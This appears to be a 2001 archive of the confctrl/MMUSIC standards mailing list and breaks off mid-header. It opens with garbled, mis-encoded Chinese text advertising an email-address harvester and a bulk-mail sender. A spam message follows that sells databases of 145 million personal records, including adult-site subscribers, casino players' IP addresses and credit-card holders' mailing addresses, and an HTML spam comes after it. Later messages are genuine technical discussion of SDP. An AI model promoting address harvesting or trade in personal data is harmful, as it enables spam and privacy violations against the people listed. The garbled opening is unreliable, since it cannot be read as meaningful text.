    CKmail 3.0 ÊÇÒ»¿î WINDOWS »·¾³ÏµÄÓʼþµØÖ·ËÑÑ°¹¤¾ß£¬ ÓÃËüÄú¿ÉÒÔ°ÑÄú»úÆ÷µÄÓ²ÅÌÇý¶¯Æ÷»òÓ³ÉäÇý¶¯Æ÷µÄ Email µØÖ·ËѼ¯µ½Ò»Æð£¬Internet Cache ºÍ»ØÊÕÕ¾ÀïµÄÎļþÒ²²»»á©Íø£¬Èç¹ûÄúÔ¸Ò⣬ÄúÉõÖÁ¿ÉÒÔÓÃËûÔÚ .EXE ÎļþÀïËÑÑ°¡£ 

    CKmail 3.0 Ö§³Ö 1000000 ÊýÁ¿¼¶µÄµç×ÓÓʼþËÑÑ°£¬²¢ÇÒËÑÑ°ËٶȲ»»áÓÐËæËÑÑ°µ½µÄµç×ÓÓʼþÊýÁ¿Ôö¼Ó¶ø±äÂýµÄ¸Ð¾õ¡£ 

    CKmail 3.0 ¿ÉÒÔÖ¸¶¨´ýËÑË÷µÄÎļþÀàÐÍ¡¢Ä¿Â¼·¶Î§£¬¿ÉÒÔÖ¸¶¨Ä¿Â¼×éºÏ£¬3.0 °æ±¾Ö§³ÖÊä³ö¸ñʽ¶¨Ò壬CKmail Êä³öµÄµØÖ·Îļþ¿ÉÒÔ·½±ãµÄ±»ÆäËûµÄÓʼþ³ÌÐòʹÓá£ÒÔÇ°°æ±¾µÄ Email µØÖ·¹ýÂË¡¢ÎļþÏÞ³¤¶¨ÒåµÈ¹¦ÄÜÈÔÈ»ÓÐЧ¡£ 

    ÔËÐл·¾³£ºwin9x/NT/2000
    Èí¼þ´óС£º1.6M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/ckmail.exe
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net

    ¶þ¡¢¿ÆÀ¶µç×ÓÓʼþȺ·¢¹¤¾ß CDmail 3.0 
    ===================================

    Èí¼þ˵Ã÷£º
    CDmail 3.0 ÊÇÒ»¿î WINDOWS »·¾³ÏµÄÓʼþȺ·¢¹¤¾ß£¬ ÓÃËüÄú¿ÉÒÔÒ»´Î·¢ËͳÉǧÉÏÍò·âµç×ÓÓʼþ¸ø²»Í¬µÄÓû§¡£µç×ÓÓʼþËùÓеÄÒªËض¼¿ÉÒÔ×ÔÓÉÉèÖÃ[±ÈÈç·¢¼þÈË¡¢ÊÕ¼þÈ˵ȵÈ]£¬Í¼Ðλ¯µÄ½çÃæÈÝÒ×ÉÏÊÖ¡£ 

    3.0 °æ±¾Ö§³Ö HTML ¸ñʽµÄÓʼþ, Ö§³Ö¸½¼þ, Ö§³Öbig5·±ÌåÓʼþ, Ö§³ÖÓû§ÑéÖ¤, ¿ÉÒÔÉ趨ÓʼþÓÅÏȼ¶µÈµÈ£»3.0 °æ±¾»¹Ôö¼ÓÁË SMTP Óʼþ·þÎñÆ÷²éÕÒ¹¦ÄÜ£¬ÃâÈ¥ÁËÓû§×Ô¼º²éÕÒ SMTP µÄÂé·³[ʹÓÿÆÀ¶ÓʼþµØÖ·ËÑÑ°¹¤¾ß CKmail 3.0 ¿ÉÒԵõ½´óÁ¿µç×ÓÓʼþµØÖ·£¬ÓÃÓÚ SMTP ·þÎñÆ÷µÄ²éÕÒ]¡£3.0 °æ±¾Ö§³Ö¹úÍâµÄ SMTP ·þÎñÆ÷£¬Îȶ¨ÐԺã¬Ö§³Ö¶ÏÏߣ¨»òÍ£Ö¹£©Ðø·¢£¡ 	

    ÔËÐл·¾³£ºwin9x/NT/2000
    Èí¼þ´óС£º1.7M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/cdmail.exe
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net


ÍƼöÒ»¿î UNIX Èí¼þ£º

    ¿ÆÀ¶¼¯³É¿ª·¢ÏµÍ³ for UNIX
    =========================

¬ì¬ìUNIX ϵļ¯³É¹¤¾ß¼¯£¬°üÀ¨²Ëµ¥Çý¶¯Æ÷£¬¶þ½øÖÆÆÁÄ»±à¼­Æ÷£¬Í¼Ðΰü£¬Ó¢ººË«ÏòÄ£ºý´Êµä£¬±³µ¥´Ê£¬¼¸¸öСÓÎÏ·ÒÔ¼°ÆäËûÖڶ๤¾ß¡£

    ÔËÐл·¾³£ºSCO UNIX
    Èí¼þ´óС£º1.8M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/clan.zip
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net





From confctrl-owner  Sat Nov  3 11:02:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA18959
	for confctrl-outgoing; Sat, 3 Nov 2001 11:02:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA18954
	for <confctrl@zephyr.isi.edu>; Sat, 3 Nov 2001 11:02:35 -0800 (PST)
Received: from marte2.rgm.com.br ([200.245.236.101])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA3J2qg00778
	for <confctrl@isi.edu>; Sat, 3 Nov 2001 11:02:54 -0800 (PST)
Received: from 10.255.254.227 - 206.161.21.66 by marte2.rgm.com.br  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Sat, 3 Nov 2001 16:08:17 -0200
Message-ID: <0000256b1b08$000064a1$0000042b@>
To: <Undisclosed.Recipients@ISI.EDU>
From: BestData7353@yahoo.com
Subject: Not just another database...                         1067
Date: Sat, 03 Nov 2001 13:11:45 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Reply-To: BestData7353@yahoo.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The Ultimate Traditional & Internet Marketing Tool, Introducing the "MasterDisc 2002" version 4.00, now released its MASSIVE 11 disc set with over 145 Million database records (18-20 gigabytes of databases) for marketing to companies, people, via email, fax, phone and mailing addresses Worldwide!

COMPLETE 11 DISC SET WILL BE SOLD FOR $499.00 PER DISC AFTER NOVEMBER!!!

We've slashed the price for 30 days only to get you hooked on our leads & data products.

The first disc ver 4.00 (Contains a 1% sampling of all databases, all software titles, all demos, more then 20 million email addresses and many, many other useful resources) including unlimited usage is yours permanently for just $199.95 (Normally $299.00) for your first disc if you order today!!! Also huge discounts from 20%-50% off of data discs ver 4.01 to ver 4.10


For More Information, and Available Records Contact us:

#954-340-1018 voice

Or visit the website at:

http://www.datacommarketing.com/


**** MASTERDISC 2002 CONTENTS ****

We've gone out of our way to insure that this product is the finest of its kind available.  Each CD (ver.4.01 to ver.4.10) contains approximately 1% of the 145 million records distributed with the following files, directories and databases:

**411: USA white and yellow pages data records including the following states, and database record fields;

Included States...(Alaska, Arizona, California, Colorado, Connecticut, Hawaii, Idaho, Illinois, Iowa, Kansas, Maine, Massachusetts, Michigan, Minnesota, Missouri, Montana, Nebraska, Nevada, New Hampshire, New Jersey, New Mexico, New York, North Dakota, Ohio, Oklahoma, Oregon, Rhode Island, South Dakota, Texas, Utah, Vermont, Washington, Wisconsin, Wyoming)

Included Fields...(ID, NAME, CONTACT, ADDRESS, CITY, STATE, ZIP, PHONE, TYPE, SIC1, SIC2, SIC3, SIC4, LATITUDE, LONGITUDE, POSTAL) 

#64,588,228 records



**DISCREETLIST: Adult web site subscribers and adult webmasters email addresses.

Subscribers (Email Address) #260,971 records

Webmaster (Email Address) #18,104 records



**DOCUMENTS: This directory contains very informative discussions about marketing and commercial email.

Library:	Online e-books related to marketing and commercial email
Reports:	Useful reports and documents from various topics

#7,209 Files


**EMAIL: This directory contains the email address lists broken down by groups such as domain, and more than one hundred categories into files with a maximum size of 100,000 records each for easy use. As well as several remove files that we suggest and highly recommend that you filter against all of your email lists.

#31,414,838 records and #13,045,019 removes


**FORTUNE: This database contains primary contact data relating to fortune 500, fortune 1000, and millions more corporations sort able by company size and sales. The fields that are included are as follows;

Fortune #1
Included Fields...(ID, Company, Address, City, State, Zip, Phone, SIC, DUN, Sales, Employee, Contact, Title)

#418,896 records

Fortune #2
Included Fields...(EMAIL, SIC CODE, Company, Phone, Fax, Street, City, ZIP, State, Country, First Name, Last Name)

#2,019,442 records


**GENDERMAIL:	Male and female email address lists that allow you target by gender with 99% accuracy.

Male (Email Address) #13,131,440 records
Female (Email Address) #6,074,490 records


**MARKETMAKERS: Active online investors email addresses. Also information in reference to thousands of public companies symbols, and descriptions.

#104,326 records


**MAXDISC: Online website owners, administrators, and technical contacts for website domain name owners of the ".com", ".net", and ".org" sites. This database has information from about 25% of all registered domains with these extensions.

MaxDisc_Canada_2.txt
Included Fields...(ID, Domain, Contact, Admin Handle, Admin Name, Admin Email, Admin Phone, Admin Fax, Billing Handle, Billing Name, Billing Email, Billing Phone, Billing Fax, Tech Handle, Tech Name, Tech Email, Tech Phone, Tech Fax)
#74,550 records

MaxDisc_City_State_Zip_1.txt	
Included Fields...(ID, City, State, Zip)
#39,175 records

MaxDisc_Country_Codes_1.txt	
Included Fields...(ID, Country, Abv)	
#253 records
MaxDisc_Email_Removes_1.txt			
Included Fields...(ID, Email)
#163,834 records

MaxDisc_Foreign_1.txt	
Included Fields...(ID,Domain,Contact,Address1,Address2,Country)	
#1,924,127 records

MaxDisc_Foreign_2.zip
Included Fields...(ID, Domain, Company, Address, Admin Handle, Admin Name, Admin Email, Admin Phone, Admin Fax, Billing Handle, Billing Name, Billing Email, Billing Phone, Billing Fax, Tech Handle, Tech Name, Tech Email, Tech Phone, Tech Fax)
#2,412,834 records

MaxDisc_Meta_1.zip
Included Fields...(ID, Domain, Company, Address, City, State or Province, Zip, Country, First Name, Last Name, Email, Phone, Fax, Title, META Description, META Keywords, Body)
#293,225 records

MaxDisc_Meta_2.zip
Included Fields...(ID, Domain, Email)
#188,768 records

MaxDisc_Sic_Codes_1.zip
Included Fields...(Code, Description)
#11,629 records

MaxDisc_USA_1.zip
Included Fields...(ID, Domain, Company, Contact, Address, City, State, Zip, Phone, Fax, Sic, Email)
#1,389,876 records

MaxDisc_USA_2.zip
Included Fields...(ID, Domain, Company, Address, Billing Name, Billing Email, Billing Phone, Billing Fax, Admin Name, Admin Email, Admin Phone, Admin Fax, Tech Name, Tech Email, Tech Phone, Tech Fax)	
#2,998,891 records

MaxDisc_USA_3.zip
Included Fields...(ID, Domain, Company, Address, Billing Name, Billing Email, Billing Phone, Billing Fax, Admin Name, Admin Email, Admin Phone, Admin Fax, Tech Name, Tech Email, Tech Phone, Tech Fax)
#2,005,887 records



**NEWSPAPERS: National directory of newspapers from small local papers to large metro news agencies.
Included Fields...(ID, Phone, Newspaper, City, State, Circulation, Frequency)
#9,277 records



**PITBOSS: Avid Online casino and sports book players, and casino webmasters.

Players Included Fields...(ID, FIRSTNAME, LASTNAME, ADDRESS, CITY, STATE, ZIP, COUNTRY, PHONE, EMAIL, PMTTYPE, USERID, HOSTNAME, IPADDRESS)

#235,583 records

Webmaster Included Fields...(Domain, Date Created, Date Expires, Date Updated, Registrar, Name Server1, Name Server2, Name Server3, Name Server4, Owner Name, Owner Address, Owner City, Owner State, Owner Zip, Owner Country, Admin Contact Name, Admin Contact Name, admin_contact_address_1, Admin Contact City, Admin Contact State, Admin Contact Zip, Admin Contact Country, Admin Contact Phone, Admin Contact Fax, Admin Contact Email, Tech Contact Name, Tech Contact Name, Tech Contact Address, Tech Contact City, Tech Contact State, Tech Contact Zip, Tech Contact Country, Tech Contact Phone, Tech Contact Fax, Tech Contact Email)

#82,371 records



**SA: South American mailing databases from more than a dozen countries. Each mailing address belongs to a Visa or MasterCard credit card holder. Available countries such as;

ARGENTINA, COSTA RICA, PERU, BRASIL, PUERTO_RICO, CHILE, PANAMA, URUGUAY, COLOMBIA, 		PARAGUAY, VENEZUELA

Included Fields...(ID, NAME, ADDRESS, CODE)

#650,456 records


**SOFTWARE: This directory contains 86 software titles, some are fully functional versions and others are demo versions. Many suites of commercial email tools as well as many other useful resources will be found here to help extract, verify, manage, and deliver successful commercial email marketing campaigns.


So overall the complete MasterDisc2002 will provide you with well over #150 million records which can be used for traditional marketing such as direct mail, fax transmission, telemarketing, and internet marketing such as commercial email campaigns. We look forward to providing you with the databases and software needed for your success!!!

We are currently shipping our October 2001 release.

Due to this incredibly discounted promotional price, we are accepting only credit card or check orders. Complete the buyer and shipping info, print and fax this form with a copy of your check attached or the completed credit card information.


For More Information, and Available Records Contact us:

#954-340-1018 voice

Or visit the website at:

http://www.datacommarketing.com/


To Order Now Return The Form Below Via Fax #954-340-1917

------------------------------------------------------------------
BEGIN ORDER FORM
------------------------------------------------------------------
PRODUCTS OR SERVICES ORDER FORM

[x] Place an X in the appropriate box for each product you want.

MasterDisc 2002 (The Ultimate Marketing Database)
[ ]MD2002 (ver 4.00 MasterDisc 2002) available for $199.00US (33% discount)
[ ]MD2002 (ver 4.01 disc #1) available for $499.00US
[ ]MD2002 (ver 4.02 disc #2) available for $499.00US
[ ]MD2002 (ver 4.03 disc #3) available for $499.00US
[ ]MD2002 (ver 4.04 disc #4) available for $499.00US
[ ]MD2002 (ver 4.05 disc #5) available for $499.00US
[ ]MD2002 (ver 4.06 disc #6) available for $499.00US
[ ]MD2002 (ver 4.07 disc #7) available for $499.00US
[ ]MD2002 (ver 4.08 disc #8) available for $499.00US
[ ]MD2002 (ver 4.09 disc #9) available for $499.00US
[ ]MD2002 (ver 4.10 disc #10) available for $499.00US

[ ] MD2002 (ver 4-1 to 11 CD Set- All Discs) available for $2699.00US (50% discount)

[ ] Please have a sales representative contact me for more information!!!

Total:$_____________________ 

(Purchase of 2 data discs deduct 20%, 4 discs deduct 30%, and for full set of discs deduct 50%)

__________________________________________________________________
CUSTOMER INFORMATION

Company:

Street Address:

City:                State:		Zip:		Country:


Contact Name:

Title:

Phone #:              Ext.:             Fax #:          Fax Ext.:

Contact Email Address:

Referred By:


SHIPPING INFORMATION
*if applicable*

If no address is entered we will use the address listed in the billing section

Ship To:

Street Address:

City:                State:		Zip:		Country:

Shipping Phone:

Domestic Shipping Options Only

[ ] Shipping & Handling via Ground Delivery UPS (Included USA Only)
[ ] C.O.D. order ($17.50 C.O.D. Charge) Shipped 2nd Day Air
[ ] Express Processing, and Ship Priority Overnight for an additional $29.00


International Shipping Options Only

[ ] International Shipping is a flat priority fee of $49.00


CHECK PAYMENT INFORMATION
[ ] Pay by check		AMOUNT OF CHECK $____________ CHECK #________

***Be sure to include shipping charges if priority overnight or COD is selected above***

Mail all payments by check to:

DataCom Marketing Corp.
1440 Coral Ridge Dr. #336
Coral Springs, Florida 33071
Attn: Processing & Shipping
954-340-1018 voice

************************************************
*** WE ALSO ACCEPT PAY-PAL & E-GOLD PAYMENTS ***
************************************************

CREDIT CARD AUTHORIZATION SECTION

[ ] Pay by Credit Card	TOTAL CHARGE

Card Type:   [ ] Visa  [ ] Master Card  [ ] American Express [ ] Discover

Card Number:

Card Holder Name:

(*This must be completed & signed by cardholder)

Billing Address:

City:                State:		Zip:		Country:


I authorize "DataCom Marketing Corporation" to charge my credit card or accept my payment for the "Products Ordered" CdRom in the amount as specified above plus shipping costs if express delivery. 

Also I acknowledge that any returns or credits will have a 20% restocking fee and balances (Less shipping and handling) will be applied towards replacement of products and/or applied towards my DataCom Marketing customer account.

[International Only]
By signing under the credit card authorization section I am authorizing the credit card submitted to be billed approximately 6 weeks after the original amount is processed for the amount of the import duties and import taxes if applicable.  I acknowledge the fact that "DataCom Marketing Corporation" does not know the amount of these duties/taxes prior to shipment as they vary from country to country.



Customer Signature _____________________________________ Date________________



Sales Representative: 2369 Rev. 1102

------------------------------------------------------------------
END ORDER FORM
------------------------------------------------------------------


For More Information, and Available Records Contact us:

#954-340-1018 voice

Or visit the website at:

http://www.datacommarketing.com/


To discontinue receipt of further notice at no cost and to be removed from all of our databases, simply reply to message with the word "Remove" in the subject line. Note: Email replies will not be automatically added to the remove database and may take up to 5 business days to process!!! If you are a Washington, Virginia, or California resident please remove yourself via email reply, phone at 954-340-1018, or by fax at 954-340-1917. We honor all removal requests.

.110201


From confctrl-owner  Mon Nov  5 19:48:46 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA10072
	for confctrl-outgoing; Mon, 5 Nov 2001 19:48:46 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA10067
	for <confctrl@zephyr.isi.edu>; Mon, 5 Nov 2001 19:48:45 -0800 (PST)
Received: from mlmwnt.com (66-3-32-219.dsl.connectnet.net [66.3.32.219])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fA63n1H23756
	for <confctrl@isi.edu>; Mon, 5 Nov 2001 19:49:01 -0800 (PST)
Date: Mon, 5 Nov 2001 19:49:01 -0800 (PST)
Message-Id: <200111060349.fA63n1H23756@gamma.isi.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=200111061734="
To: confctrl@ISI.EDU
From: corp@mlmwnt.com
X-Mailer: 46B03378.30379FE4.73be867c166ed06620ba5ad50fb34c06
Subject: Say good-bye to boring emails!
Organization: MLM World News Today, Inc.
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=200111061734=
Content-Type: text/html;charset=US-ASCII

<!-- saved from url=(0022)http://internet.e-mail -->
<!-- saved from url=(0022)http://internet.e-mail -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
</HEAD>
<BODY bgColor=#ffffff>
<DIV align="center">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0" width="550" height="400">
<param name="movie" value="http://ca.easywebusa.net/mlmwnt/custom/images10/ebcviewer_mlmwnt.swf">
<param name="quality" value="best">
<param name="play" value="true">
<embed src="http://ca.easywebusa.net/mlmwnt/custom/images10/ebcviewer_mlmwnt.swf" type="application/x-shockwave-flash" width="550" height="400" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" quality="best" play="true">
</object>
</DIV>
<br>
<br>
DISCLAIMER:
<br>
This eMail is coming to you from MLM World News Today. The reason this eMail is being sent to you is because you (or someone acting on your behalf) has indicated that you would like to receive special offers from our company. This is not SPAM. If you do not wish to receive further alerts, please </FONT><A HREF="http://www.ewn.tv/removenew.cfm?vid=25392&amp;vemail=confctrl@isi.edu"><FONT SIZE=2>CLICK HERE</FONT></A><FONT SIZE=2> to be removed.
</BODY></HTML>
--=200111061734=--


From confctrl-owner  Tue Nov  6 12:38:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA14476
	for confctrl-outgoing; Tue, 6 Nov 2001 12:38:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA14471
	for <confctrl@zephyr.isi.edu>; Tue, 6 Nov 2001 12:38:42 -0800 (PST)
Received: from tnint06.telogy.com (tnint06.telogy.com [209.116.120.7] (may be forged))
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA6KdDg27297
	for <confctrl@isi.edu>; Tue, 6 Nov 2001 12:39:13 -0800 (PST)
Received: by tnint06.telogy.design.ti.com with Internet Mail Service (5.5.2653.19)
	id <WJZSHC9L>; Tue, 6 Nov 2001 15:38:04 -0500
Message-ID: <61891BA043DED21180920090273F173802A7CD60@tnint06.telogy.design.ti.com>
From: David Lide <dlide@telogy.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: AS parameter in SDP
Date: Tue, 6 Nov 2001 15:38:03 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There seems to be some confusion on the exact definition of the AS parameter
in SDP.  Should this
value reflect just the RTP payload requirements (e.g. 64 kbps for PCM voice)
or include the RTP header, IP, UDP header, security overhead, etc. 

thanks,
dave



From confctrl-owner  Tue Nov  6 15:27:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA20781
	for confctrl-outgoing; Tue, 6 Nov 2001 15:27:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA20776
	for <confctrl@zephyr.isi.edu>; Tue, 6 Nov 2001 15:27:48 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA6NSJg18282
	for <confctrl@ISI.EDU>; Tue, 6 Nov 2001 15:28:19 -0800 (PST)
Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.69.24.12])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fA6NNwr25404;
	Tue, 6 Nov 2001 15:23:58 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id fA6NNvE06409;
	Tue, 6 Nov 2001 15:23:57 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id PAA28592; Tue, 6 Nov 2001 15:23:55 -0800 (PST)
Message-ID: <3BE8718D.3C6F4AB7@cisco.com>
Date: Tue, 06 Nov 2001 18:26:05 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: MMUSIC <confctrl@ISI.EDU>
Subject: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks for putting together
<draft-rosenberg-mmusic-sdp-offer-answer-00.txt>. A couple of questions
and comments:

- Section 2 specifies that "Either an e line or p line MUST be present."
however this was made optional in <draft-ietf-mmusic-sdp-new-03.txt>. In
general, I think we should avoid stating or repeating requirements that
belong in the SDP specification itself.

- Section 2 mentions that SDP allows for concatenation of multiple
session descriptions. I can't seem to find this in the SDP spec - where
does it say that ?

- Section 2 says that "Once the offerer has sent the offer, it MUST be
prepared to receive media described by that offer." For send/receive
media streams, I believe the offerer must also be prepared to send such
media (although obviously it can't until it gets the answer).

- Section 2.1: I share the concerns raised by others about the following
sentence: "When receiving multiple streams of the same type, the streams
MUST be mixed before playing them out". This seems overly restrictive.

- Section 3: The sentence "The definition of rejected is both neither
offerer and answerer MUST NOT generate media (or RTCP packets) for that
stream." doesn't seem to parse quite right.

- Section 3 says that "Once the answer has been sent, the answerer MUST
be prepared to receive media as described in the answer.". For
send/receive streams I believe the answerer must also be prepared to
send such media.

- Section 3.1. says (for sendrecv media streams) that "The stream MAY
indicate additional codecs, not listed in the corresponding stream in
the offer, that the answerer is willing to receive with." This makes the
interpretation of the codecs listed context-dependent which is fairly
unfortunate. If the answerer wishes to add additional codecs to the
sendrecv stream, he should be able to both send and receive those codecs
(regardless of whether the offerer seems interested in receiving media
encoded with such codecs).

- Section 4.3 says that "The offerer MUST NOT cease listening for media
on the old port until media arrives on the new port. At that time, it
MAY cease listening for media on the old port.". This means that you
allow the presence of media to serve as confirmation of your offer. I
think this opens up a race condition and would prefer getting the answer
back as well.

- Section 4.3. says that "When a new codec is used with a dynamic
payload type number, it MUST NOT reuse a dynamic payload type number
used previously in the session.". I don't think the sentence accurately
captures the intention (since "new codec" seems to simply refer to the
most recent offer) which I belive is simply to forbid changing the
mapping from a given payload type to a given codec. If that mapping was
done X offer/invite exchanges ago, and we want to reuse it now, it
should be allowed.

- Section 4.3 is silent on what the offerer and answerer do with the
codecs (and media types) from the previous successful offer/answer. At
what point do the offerer and answerer stop accepting media according to
the old offer and answer ? Also, what happens if the offer is rejected ?

- Finally, for generality, the I-D should probably avoid some of the SIP
specific wording (e.g. "re-INVITE", "sending a SIP message") and simply
talk about sending offers and answers.


Thanks

        Flemming


--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Tue Nov  6 17:31:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA25222
	for confctrl-outgoing; Tue, 6 Nov 2001 17:31:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA25217
	for <confctrl@zephyr.isi.edu>; Tue, 6 Nov 2001 17:31:32 -0800 (PST)
Received: from rly-ip02.mx.aol.com (rly-ip02.mx.aol.com [152.163.225.160])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA71W0g12943
	for <confctrl@isi.edu>; Tue, 6 Nov 2001 17:32:01 -0800 (PST)
Received: from logs-tj.proxy.aol.com (logs-tj.proxy.aol.com [152.163.213.135])
	  by rly-ip02.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0)
	  with ESMTP id UAA24361;
	  Tue, 6 Nov 2001 20:30:52 -0500 (EST)
Received: from icwlhn.org (AC95BDBA.ipt.aol.com [172.149.189.186])
	by logs-tj.proxy.aol.com (8.10.0/8.10.0) with ESMTP id fA71Twl309565;
	Tue, 6 Nov 2001 20:29:59 -0500 (EST)
Message-ID: <3BE8B8B3.244DB5E7@icwlhn.org>
Date: Tue, 06 Nov 2001 20:29:39 -0800
From: Benny Bing <bennybing@icwlhn.org>
X-Mailer: Mozilla 4.51 [en]C-CCK-MCD {MCIWORLDV2}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: amlist@takilab.k.dendai.ac.jp, alg@comm.toronto.edu, cellular@diameter.org,
        confctrl@ISI.EDU, domain3@BXL.DG13.cec.eu.int,
        end2end-interest@postel.org, f-troup@codex.cis.upenn.edu,
        bennybing@icwlhn.org
Subject: CFP: Conference on Wireless LANs and Home Networks
Content-Type: text/plain; charset=iso-8859-1
X-Apparently-From: BBing10199@aol.com
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id RAA25218
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Call for Participation
IEEE International Conference on Wireless LANs and Home Networks
5 - 7 December 2001, Singapore.
Conference web page: www.icwlhn.org

You are invited to participate in the IEEE International Conference on
Wireless LANs and Home Networks. Attendees can look forward to a
jam-packed, high-quality technical program loaded with information on
the latest technology innovations. The morning technical sessions will
feature keynote, plenary, and technology speakers who will cover
in-depth tutorials on the future directions of mobile wireless networks.

The afternoon sessions are dedicated to state-of-art research and
development.

Conference Highlights:

- Keynote speech from Dr. Leonard Kleinrock (Inventor of Internet
Technology)

- Plenary speech from Dr. Bob Heile (Chairman, IEEE 802.15 Wireless PAN
Working Group)

- Mobile Internet Office Plenary Session from Cisco Systems

- Technology speakers from Intermec, Network Associates, 3Com, Agere
Systems, Nokia, Ericsson, Alcatel, ReefEdge, Atheros and more

- 32 quality paper presentations carefully selected from over 100
submissions

In addition to the conference proceedings, a specially edited book
titled “Wireless LANs: The New Wireless Revolution” is published by John

Wiley in conjunction with the conference.

Technical Co-sponsors: IEEE and IEEE Communications Society

Sponsors: Cisco Systems (Platinum), Singapore Information Technology
Federation (Gold), Intermec Technologies (Silver), Network Associates
(Silver) and 8 supporting sponsors.







From confctrl-owner  Wed Nov  7 10:10:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA03234
	for confctrl-outgoing; Wed, 7 Nov 2001 10:10:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA03221
	for <confctrl@zephyr.isi.edu>; Wed, 7 Nov 2001 10:10:03 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA7IAYg19390
	for <confctrl@ISI.EDU>; Wed, 7 Nov 2001 10:10:34 -0800 (PST)
Received: from mira-sjc5-8.cisco.com (mira-sjc5-8.cisco.com [171.71.163.31])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fA7IAbB04466;
	Wed, 7 Nov 2001 10:10:37 -0800 (PST)
Received: from RKUMAR-W2K.cisco.com (dhcp-128-107-142-124.cisco.com [128.107.142.124])
	by mira-sjc5-8.cisco.com (Mirapoint)
	with ESMTP id ABY55182;
	Wed, 7 Nov 2001 10:10:22 -0800 (PST)
Message-Id: <4.3.2.7.2.20011106195325.0260a168@mira-sjc5-8.cisco.com>
X-Sender: rkumar@mira-sjc5-8.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 06 Nov 2001 19:53:46 -0800
To: "David Barr" <David.Barr@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Re: RFC3108 - Possible issue with media line syntax
Cc: mmostafa@cisco.com, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: multipart/alternative;
